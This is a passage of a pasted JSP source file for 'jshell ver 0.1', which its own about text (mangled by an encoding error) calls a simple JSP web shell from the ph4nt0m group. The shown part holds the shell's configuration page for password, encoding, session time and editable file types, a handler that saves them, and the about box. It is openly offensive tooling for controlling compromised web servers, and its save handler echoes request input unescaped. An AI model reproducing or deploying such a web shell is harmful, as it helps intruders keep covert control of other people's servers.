  1635. if (request.getParameter("cfAction") == null) {
  1636. cfAction = "main";
  1637. } else {
  1638. cfAction = request.getParameter("cfAction").trim();
  1639. if (cfAction.equals(""))
  1640. cfAction = "main";
  1641. }
  1642.  
  1643. if (cfAction.equals("main")) {
  1644. // start of config form
  1645. //==========================================================================================
  1646. %>
  1647. <script language="javascript">
  1648. <!--
  1649. function delFileType() {
  1650. document.config.newType.value = document.config.textFileTypes[document.config.textFileTypes.selectedIndex].value;
  1651. document.config.textFileTypes.options.remove(document.config.textFileTypes.selectedIndex);
  1652. }
  1653.  
  1654. function addFileType() {
  1655. if (document.config.newType.value != "") {
  1656. var oOption = document.createElement("OPTION");
  1657. document.config.textFileTypes.options.add(oOption);
  1658. oOption.value = document.config.newType.value;
  1659. oOption.innerHTML = document.config.newType.value;
  1660. }
  1661. }
  1662.  
  1663. function selectAllTypes() {
  1664. for (var i = 0; i < document.config.textFileTypes.options.length; i ++) {
  1665. document.config.textFileTypes.options[i].selected = true;
  1666. }
  1667. }
  1668. //-->
  1669. </script>
  1670. <table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  1671. <form name="config" method="post" action="<%=request.getRequestURI() + "?action=config&cfAction=save"%>" onSubmit="javascript:selectAllTypes()">
  1672. <tr bgcolor="#FFFFFF">
  1673. <td align="center" width="200">ÃÜÂë</td>
  1674. <td><input type="text" size="30" name="password" class="textbox" value="<%=_password%>" /></td>
  1675. </tr>
  1676. <tr bgcolor="#FFFFFF">
  1677. <td align="center">ϵͳ±àÂë</td>
  1678. <td><input type="text" size="30" name="encode" value="<%=_encodeType%>" class="textbox" /></td>
  1679. </tr>
  1680. <tr bgcolor="#FFFFFF">
  1681. <td align="center">Session³¬Ê±Ê±¼ä</td>
  1682. <td><input type="text" size="5" name="sessionTime" class="textbox" value="<%=_sessionOutTime%>" /></td>
  1683. </tr>
  1684. <tr bgcolor="#FFFFFF">
  1685. <td align="center">¿É±à¼­ÎļþÀàÐÍ</td>
  1686. <td>
  1687. <table border="0" width="190" cellpadding="0" cellspacing="0">
  1688. <tr>
  1689. <td>
  1690. <input type="text" size="11" class="textbox" name="newType" />
  1691. </td>
  1692. <td align="center">
  1693. <input type="button" onClick="javascript:delFileType()" value="<<" class="button" />
  1694. <p></p>
  1695. <input type="button" value=">>" onClick="javascript:addFileType()" class="button" />
  1696. </td>
  1697. <td align="right">
  1698. <select name="textFileTypes" size="4" style="width: 87px" multiple="true">
  1699. <%
  1700. for (i = 0; i < _textFileTypes.length; i ++) {
  1701. %>
  1702. <option value="<%=_textFileTypes[i]%>"><%=_textFileTypes[i]%></option>
  1703. <%
  1704. }
  1705. %>
  1706. </select>
  1707. </td>
  1708. </tr>
  1709. </table>
  1710. </td>
  1711. </tr>
  1712. <tr bgcolor="#FFFFFF">
  1713. <td align="center" colspan="2"><input type="submit" value="±£´æ" class="button" /></td>
  1714. </tr>
  1715. </form>
  1716. </table>
  1717. <%
  1718. } else if (cfAction.equals("save")) {
  1719. if (request.getParameter("password") == null ||
  1720. request.getParameter("encode") == null ||
  1721. request.getParameter("sessionTime") == null ||
  1722. request.getParameterValues("textFileTypes") == null) {
  1723. response.sendRedirect(request.getRequestURI());
  1724. }
  1725.  
  1726. String result = "";
  1727.  
  1728. String newPassword = request.getParameter("password").trim();
  1729. String newEncodeType = request.getParameter("encode").trim();
  1730. String newSessionTime = request.getParameter("sessionTime").trim();
  1731. String[] newTextFileTypes = request.getParameterValues("textFileTypes");
  1732. String jshellPath = request.getRealPath(request.getServletPath());
  1733.  
  1734. try {
  1735. JshellConfig jconfig = new JshellConfig(jshellPath);
  1736. jconfig.setPassword(newPassword);
  1737. jconfig.setEncodeType(newEncodeType);
  1738. jconfig.setSessionTime(newSessionTime);
  1739. jconfig.setTextFileTypes(newTextFileTypes);
  1740. jconfig.save();
  1741. result += "ÉèÖñ£´æ³É¹¦£¬ÕýÔÚ·µ»Ø£¬ÇëÉÔºò¡­¡­";
  1742. result += "<meta http-equiv=\"refresh\" content=\"2;url=" + request.getRequestURI() + "?action=" + request.getParameter("action") + "\">";
  1743. } catch (JshellConfigException e) {
  1744. result = "<font color=\"red\">" + e.getMessage() + "</font>";
  1745. }
  1746.  
  1747. %>
  1748. <table align="center" width="600" border="0" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  1749. <tr bgcolor="#FFFFFF">
  1750. <td><%=result == "" ? "&nbsp;" : result%></td>
  1751. </tr>
  1752. </table>
  1753. <%
  1754. }
  1755. //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  1756. //==========================================================================================
  1757. // end of config form
  1758. } else if (action.equals("about")) {
  1759. // start of about
  1760. //==========================================================================================
  1761. %>
  1762. <table border="0" align="center" width="600" cellpadding="2" cellspacing="1" bgcolor="#CCCCCC">
  1763. <tr bgcolor="#FFFFFF">
  1764. <td align="center">¹ØÓÚ jshell ver 0.1</td>
  1765. </tr>
  1766. <tr bgcolor="#FFFFFF">
  1767. <td> JshellÊÇÒ»¸ö¼òµ¥µÄjspµÄWeb Shell£¬¹¦Äܼܺòµ¥¡£Õâ¸ö³ÌÐòÊÇÎÒÕ⼸ÌìÉϿοÕÏÐʱ¼äÀïûÊǸÉд×ÅÍæµÄ£¬ÂýÂýµÄÒ²ÓÐÁ˵ã³ûÐΣ¬¾ÍÄóöÀ´Ï£Íû¶ÔÄãÓеãÓô¦¡£³ÌÐò±¾ÉíºÜÂÒ£¬¿É¶ÁÐÔ²»ºÃ£¬²»¹ý»¹ÊÇ»¶Ó­ÓÐÐËȤµÄÅóÓѺÍÎÒ½»Á÷¡£</td>
  1768. </tr>
  1769. <tr bgcolor="#FFFFFF">
  1770. <td align="right">created by <a href="mailto:luoluonet@hotmail.com">luoluo</a> and welcome to <a href="http://www.ph4nt0m.org" target="_blank">»ÃÓ°ÂÃÍÅ</a></td>
  1771. </tr>
  1772. </table>
  1773. <%
  1774. //==========================================================================================
  1775. }
  1776. }
  1777. %>
  1778. </body>
  1779. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement